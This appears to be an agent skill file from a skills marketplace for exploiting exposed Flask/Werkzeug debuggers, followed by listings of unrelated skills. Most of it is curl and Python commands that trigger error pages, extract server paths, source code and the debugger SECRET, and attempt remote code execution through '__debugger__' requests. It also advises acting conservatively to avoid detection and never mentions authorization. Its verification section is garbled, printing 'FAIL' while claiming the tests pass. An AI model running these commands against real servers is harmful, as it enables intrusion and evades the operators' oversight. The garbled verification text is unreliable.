flask-werkzeug-attack
Exploit Flask/Werkzeug debugger exposure for traceback and SECRET leaks.
Tech stack
Works with
---
name: flask-werkzeug-attack
description: Exploit Flask/Werkzeug debugger exposure for traceback and SECRET leaks.
license: MIT
---
# Flask/Werkzeug Debugger Exploitation
Flask applications with `debug=True` enable the Werkzeug debugger, which exposes stack traces and (optionally) an interactive Python console. The debugger runs at the same port as the Flask app and activates on any unhandled exception (HTTP 500).
## When to Use
- Port scan reveals an unknown HTTP service on a non-standard port (8080, 8081, 8084, 5000, 8000, etc.)
- An API endpoint returns HTTP 500 with a Flask/Werkzeug error page
- A `?__debugger__=yes` parameter appears in URL resources (CSS, JS, PNG)
- The error page contains `var CONSOLE_MODE`, `var EVALEX`, or `SECRET=` in the HTML
## Prerequisites
- `terminal` with curl
- A Flask API server with `debug=True` in production (misconfiguration)
- An endpoint that triggers HTTP 500 (unhandled exception)
## Quick Detection
```bash
# Check if Werkzeug debugger is active — trigger an error
curl --max-time 30 --connect-timeout 10 -sk "https://target.com:PORT/sitemap.xml" 2>/dev/null | grep -oE "(Werkzeug|Debugger|SECRET|CONSOLE_MODE|EVALEX)" | head -5
# Try to trigger error on common paths
for path in "/error" "/500" "/test" "/debug" "/sitemap.xml" "/env" "/config"; do
result=$(curl --max-time 30 --connect-timeout 10 -sk "https://target.com:PORT$path" 2>/dev/null)
if echo "$result" | grep -q "Traceback\|Error\|Werkzeug"; then
echo "TRIGGERED: $path"
echo "$result" | grep -oE '(File|Error|SECRET|CONSOLE_MODE|EVALEX)[^<]*' | head -5
fi
done
```
## Phase 1 — Information Disclosure
The Werkzeug debugger exposes:
### 1a — Server Paths (from Traceback)
```
File "/var/www/html/target-app-backend/venv/lib/python3.10/site-packages/flask/app.py"
File "/var/www/html/target-app-backend/venv/lib/python3.10/site-packages/flask_cors/extension.py"
File "/var/www/html/target-app-backend/venv/lib/python3.10/site-packages/..."
```
### 1b — Debugger SECRET (from HTML)
```html
<script>
var CONSOLE_MODE = false,
EVALEX = false,
EVALEX_TRUSTED = false,
SECRET="vYQ93K...8cww";
</script>
```
### 1c — Framework & Language Version
- Flask framework (Python 3.x)
- flask_cors extension status
- Full call stack with line numbers
- Source code context (5 lines around each frame)
### 1d — Full Code Context Extraction
```python
import requests, re
resp = requests.get("https://target.com:PORT/ERROR_PATH", verify=False)
traceback = resp.text
# Extract all filenames from traceback frames
files = re.findall(r'File\s+\"([^\"]+)\"', traceback)
for f in files:
print(f" {f}")
# Extract source code snippets
sources = re.findall(r'<pre[^>]*class="source[^"]*"[^>]*>(.*?)</pre>', traceback, re.DOTALL)
for s in sources:
clean = re.sub(r'<[^>]+>', '', s)
print(clean[:200])
```
## Phase 2 — Debugger Console Access (RCE)
The Werkzeug debugger console allows Python code execution on the server IF `EVALEX=true` and `CONSOLE_MODE=true`.
### 2a — Check Console Status
```bash
# The SECRET and console mode are in the HTML
curl --max-time 30 --connect-timeout 10 -sk "https://target.com:PORT/sitemap.xml" | grep -oE '(CONSOLE_MODE|EVALEX|EVALEX_TRUSTED|SECRET)="?[^"&;]+'
```
### 2b — Console Access (if enabled)
If `EVALEX=true`:
```bash
# Access the console
curl --max-time 30 --connect-timeout 10 -sk "https://target.com:PORT/console"
```
**Signal check:** If `/console` returns HTTP 400 (not 404), the debugger IS active but the console is disabled. HTTP 404 means no debugger at all. HTTP 200 with console UI means RCE is available.
If `EVALEX=true`:
```bash
# Execute Python commands (POST to the debugger endpoint)
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://target.com:PORT/sitemap.xml?__debugger__=yes&cmd=e&s=SECRET" \
-d "code=__import__('os').system('id')"
# Alternative: GET-based eval
curl --max-time 30 --connect-timeout 10 -sk "https://target.com:PORT/sitemap.xml?__debugger__=yes&cmd=eval&code=__import__('os').system('id')&s=SECRET"
```
**Note:** The console endpoint may require specific method (POST vs GET) and may return HTTP 405 if the wrong method is used. Test both.
### 2c — Working with a Disabled Console
If `EVALEX=false` (most common in production), the console is **disabled** and cannot execute commands. However:
1. **SECRET is still valuable** — it confirms dynamic debugger is active
2. **Traceback still leaks** — full server paths, framework versions, source code context
3. **Look for `?__debugger__=yes`** — this is the debugger interface itself; if it loads, the debugger is partially active
4. **Check for source code in error pages** — some endpoints may return full source context without needing the console
## Phase 3 — Directory/Path Probing
Beyond the specific error-triggering path, probe for other endpoints that may leak different info:
```bash
# Path traversal in error generation
curl --max-time 30 --connect-timeout 10 -sk "https://target.com:PORT/path/to/../sitemap.xml"
# Test various HTTP methods
curl --max-time 30 --connect-timeout 10 -sk -X OPTIONS "https://target.com:PORT/sitemap.xml"
curl --max-time 30 --connect-timeout 10 -sk -X PUT "https://target.com:PORT/sitemap.xml"
curl --max-time 30 --connect-timeout 10 -sk -X DELETE "https://target.com:PORT/sitemap.xml"
# Check if error page returns CORS headers
curl --max-time 30 --connect-timeout 10 -sk -D- "https://target.com:PORT/sitemap.xml" | grep -i access-control
```
## Pitfalls
- **EVALEX=false means NO RCE through the console.** Do not waste time trying to execute code when console mode is disabled.
- **The SECRET is not enough.** Even with the correct SECRET, the console must be enabled for code execution.
- **Not all HTTP 500 pages are Werkzeug.** Plain Flask error pages without HTML formatting or with JSON-only responses are NOT the Werkzeug debugger. The debugger has a distinctive blue-themed HTML page with collapsible traceback frames and source code context.
- **The debugger may be behind CORS.** Check `Access-Control-Allow-Origin` headers — CORS wildcard on the debugger page means an attacker-controlled website can read the SECRET and traceback via fetch().
- **Triggering errors leaves logs.** Every debugger page request generates a 500 error in the server logs. Be conservative to avoid detection.
## Verification
1. **Skill integrity** — confirm the skill file is well-formed:
FAIL
FAIL
All tests verify the skill is properly structured.
---
## Related Skills
- **`hunt-rce`** — General RCE hunting; console-enabled Werkzeug would be RCE
- **`hunt-python`** — Python-specific vulnerability hunting
- **`js-secrets-extraction`** — Finding API keys that may work with the Flask API
- **`source-leak-hunt`** — Finding .env and config files that may contain Flask SECRET_KEY
- **`cache-attack`** — Cache poisoning via Werkzeug error page (if CDN caches the 500 response)More Debugging skills
diagnosing-bugs
mattpocock/skills
Diagnosis loop for hard bugs and performance regressions. Use when the user says "diagnose"/"debug this", or reports something broken/throwing/failing/slow.
explore-code
lllllllama/rigorpilot-skills
Rigor Improve implementation leaf skill for auditable candidate implementation in deep learning research repositories. Use when the researcher explicitly authorizes exploratory work on an isolated branch or worktree to transplant modules, adapt a backbone, add LoRA or adapter layers, replace a head, or stitch together meaningful low-risk migration ideas with rollback-aware records in `explore_outputs/`. Do not use for end-to-end exploration orchestration on top of `current_research`, trusted baseline reproduction, conservative debugging, environment setup, verified contribution claims, or default repository analysis.
safe-debug
lllllllama/rigorpilot-skills
Rigor Debug / Rigor Audit skill for deep learning research work. Use when the user pastes a traceback, terminal error, CUDA OOM, checkpoint load failure, shape mismatch, NaN loss symptom, or training failure and wants conservative diagnosis before any patching, with debug fixes clearly separated from research contributions. Do not use for broad refactoring, speculative adaptation, automatic exploratory patching, or general repository familiarization.

